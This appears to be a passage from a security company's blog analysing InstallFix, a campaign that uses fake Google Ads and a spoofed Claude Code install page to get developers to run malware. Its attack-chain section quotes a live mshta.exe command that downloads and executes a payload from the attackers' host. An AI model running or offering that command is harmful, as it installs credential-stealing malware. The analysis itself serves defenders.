{"id":24620,"date":"2026-06-30T08:30:14","date_gmt":"2026-06-30T01:30:14","guid":{"rendered":"https:\/\/fpt-is.com\/en\/?post_type=goc_nhin_so&p=24620"},"modified":"2026-07-14T09:55:52","modified_gmt":"2026-07-14T02:55:52","slug":"are-you-installing-an-ai-tool-or-opening-the-door-for-a-hacker-yourself","status":"publish","type":"goc_nhin_so","link":"https:\/\/fpt-is.com\/en\/insights\/are-you-installing-an-ai-tool-or-opening-the-door-for-a-hacker-yourself\/","title":{"rendered":"Are you installing an AI tool… or opening the door for a hacker yourself?"},"content":{"rendered":"

Summary of the campaign<\/span><\/h2>\n

InstallFix is a malware\/social engineering campaign discovered in early 2026, targeting developers and AI engineers by impersonating the installer of Claude Code\u2014a popular AI coding tool. Unlike traditional phishing campaigns that use emails or malicious attachments, InstallFix leverages Google Ads, SEO poisoning, fake installer websites, and one-line terminal commands to trick victims into executing malware on their own machines. The campaign is considered dangerous due to its high success rate, requiring almost no technical exploits, and specifically targeting high-privilege users (developers\/devops).<\/span><\/p>\n

Why are AI tools becoming an attractive target for attackers?<\/span><\/h2>\n

The explosion of AI tools like Claude Code, Cursor, and AI agents has created a massive user base, especially among developers and AI engineers. Attackers only need SEO poisoning or fake Google Ads to reach many victims through keywords like “AI install” or “Claude Code setup.”<\/span><\/p>\n

The danger lies in the fact that a developer’s machine often contains valuable credentials like GitHub tokens, AWS keys, SSH keys, Kubernetes configs, and browser sessions. Just one compromised machine can lead to source code theft, cloud compromise, or a supply-chain attack. Additionally, many AI tools are often installed using sudo, Administrator shell, or elevated PowerShell. This allows malware to easily create persistence, bypass security controls, and execute payloads deeper within the system if the user accidentally runs a malicious command.<\/span><\/p>\n

Event timeline<\/span><\/h2>\n\n\n\n\n\n\n\n\n\n\n\n
Event timeline<\/span><\/th>\nEvent timeline<\/span><\/th>\n<\/tr>\n<\/thead>\n
Q1 2026<\/span><\/td>\nThe attacker set up a fake website impersonating Claude Code and purchased Google Ads to push malicious search results to the top.<\/span><\/td>\n<\/tr>\n
T0<\/span><\/td>\nA user searches for “Claude Code install” and mistakenly visits the fake website.<\/span><\/td>\n<\/tr>\n
T0 + a few minutes<\/span><\/td>\nThe victim copies and pastes the malicious installation command into the terminal\/PowerShell.<\/span><\/td>\n<\/tr>\n
T0 + 1 minute<\/span><\/td>\nPayload stage-1 is executed, downloading additional malware through PowerShell or mshta.exe.<\/span><\/td>\n<\/tr>\n
T0 + 5 minutes<\/span><\/td>\nMalware establishes persistence and begins stealing GitHub tokens, SSH keys, browser cookies, and cloud credentials.<\/span><\/td>\n<\/tr>\n
T0 + 10 minutes<\/span><\/td>\nThe device connects to the C2 server to receive additional payloads and control commands.<\/span><\/td>\n<\/tr>\n
T0 + a few hours<\/span><\/td>\nResearcher discovers the fake infrastructure and unusual malware behavior.<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Initial infection<\/span><\/h2>\n

The InstallFix campaign is primarily spread through Google Ads by exploiting sponsored search results. When users search for keywords like “Claude Code” or “Claude Code install,” the fake website appears at the top of Google Search, leading many victims to believe it is the official site.<\/span><\/p>\n

\"11<\/a>\"22<\/a><\/span><\/p>\n

This fake site is intricately designed, closely mimicking the entire interface and installation workflow of the real website. The most dangerous aspect is the install command displayed on the page. Instead of a valid installation command, the attacker replaced it with a malicious command using PowerShell and mshta.exe to download and execute malware on Windows systems. For macOS users, the website also displays similar malicious commands to deploy payloads on Apple devices.<\/span><\/p>\n

\"33<\/a><\/span><\/p>\n

Additionally, the malicious ad URL is designed to resemble a legitimate Google Ads link. Parameters like gar_source and gad_campaign are added to mimic the typical tracking structure seen in Google ad campaigns, increasing credibility and reducing the likelihood of user suspicion.<\/span><\/p>\n

\"44<\/a><\/span><\/p>\n

Attack chain<\/span><\/h2>\n

\"55<\/a><\/span><\/p>\n

Stage 1 \u2014 Initial Access via Google Ads Malvertising<\/span><\/p>\n

The InstallFix campaign begins with the attacker purchasing Google Ads to secure the top position in search results for keywords like “Claude Code” or “Claude Code install.” When users search for this AI tool, the sponsored result leads to a fake website that closely resembles the official Claude Code installation page. The fake website is intricately designed with installation instructions tailored for each operating system, such as Windows and macOS. Instead of providing a legitimate installation file, the site displays a malicious command and instructs users to copy-paste it into the terminal or PowerShell to “complete the installation.”<\/span><\/p>\n

This is a variant of the ClickFix social engineering technique\u2014attackers do not exploit technical vulnerabilities but instead trick victims into executing the payload on their own machines. On Windows, this command will activate mshta.exe to download the payload from a remote server.<\/span><\/p>\n

Stage 2 \u2014 MSHTA Downloads and Executes Polyglot ZIP\/HTA File<\/span><\/p>\n

After the user runs the command from the fake website, the PowerShell process will call: mshta.exe\u00a0https:\/\/download-version.1-5-8com\/claude.msixbundle<\/a>, and the payload downloaded is claude.msixbundle.<\/span><\/p>\n

\"Screenshot<\/a><\/p>\n

On the surface, this appears to be a legitimate Microsoft installation package; however, in reality, this file is a ZIP\/HTA polyglot\u2014meaning it simultaneously contains a valid ZIP archive and a malicious HTA payload appended at the end of the file.<\/span><\/p>\n

The beginning of the file contains Microsoft Bing packages with valid digital signatures from the Microsoft Marketplace to enhance credibility if inspected superficially. However, mshta.exe will skip the ZIP part and directly read the embedded HTA section at the end of the file to execute the malicious code.<\/span><\/p>\n

This polyglot technique helps attackers:<\/span><\/p>\n